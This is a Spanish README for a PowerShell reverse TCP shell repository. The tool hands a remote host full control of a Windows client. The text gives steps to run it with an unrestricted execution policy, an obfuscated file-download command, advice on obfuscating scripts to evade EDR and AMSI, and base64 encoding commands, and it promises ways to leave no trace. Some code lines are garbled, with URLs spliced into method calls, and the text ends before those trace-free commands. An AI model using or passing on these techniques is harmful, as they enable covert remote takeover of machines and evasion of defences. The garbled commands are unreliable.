
powershell-reverse-tcp v5.0
Scripts de PowerShell para comunicarse con un host remoto.
PowerShell Reverse TCP
Scripts de PowerShell para comunicarse con un host remoto.
El host remoto tendrá control total sobre el cliente y todos los comandos del sistema subyacente.
Consulta los shells basados en:
Probado con PowerShell v5.1.19041.2673 en Windows 10 Enterprise OS (64-bit).
Creado con fines educativos. ¡Espero que sea de ayuda!
Este repositorio ha empezado a tener firmas conocidas y no tengo tiempo para subir nuevos scripts cada vez, por lo que deberías ofuscar estos scripts tú mismo.
Planes futuros:
- más shells basados en tuberías de proceso, y optimizarlos aún más.
Tabla de Contenidos
- Cómo Ejecutar
- Ofuscar Scripts de PowerShell
- Bypass de AMSI
- Integración con MS Word
- Configurar un Listener
- Tiempo de Ejecución
Cómo Ejecutar
Cambia la dirección IP y el número de puerto dentro de los scripts según sea necesario.
Abre PowerShell desde \src\invoke_expression\original\ o \src\process_pipes\original\ y ejecuta los comandos que se muestran a continuación.
Establece la directiva de ejecución:```pwsh Set-ExecutionPolicy Unrestricted
Ejecuta el script:```pwsh
.\powershell_reverse_tcp.ps1
O, ejecute el siguiente comando desde PowerShell o Command Prompt:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## Ofuscar Scripts de PowerShell
Intente evadir el EDR y otros mecanismos de seguridad ofuscando sus scripts. Puede ver dichas ofuscaciones en los ejemplos siguientes.
Comando original de PowerShell:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Comando de PowerShell ofuscado:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Consulta el script original de PowerShell [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) y el completamente ofuscado [aquí](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**
Después de la [ofuscación manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), el script original de PowerShell fue ofuscado con [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). ¡Créditos al autor!
Busca en Internet técnicas y métodos de ofuscación adicionales.
P.D. Debido a que PowerShell se actualiza constantemente, algunas expresiones regulares (p. ej. `*ke-E*`) pueden comenzar a lanzar excepciones debido a que múltiples métodos coinciden con la misma expresión, por lo que será necesario especificar las expresiones un poco mejor.
### Comando Codificado de PowerShell
Para generar un comando codificado de PowerShell a partir de un script de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Para decodificar un comando codificado de PowerShell, ejecuta el siguiente comando de PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Utilice las líneas de comando a continuación si no desea dejar ningún rastro.
---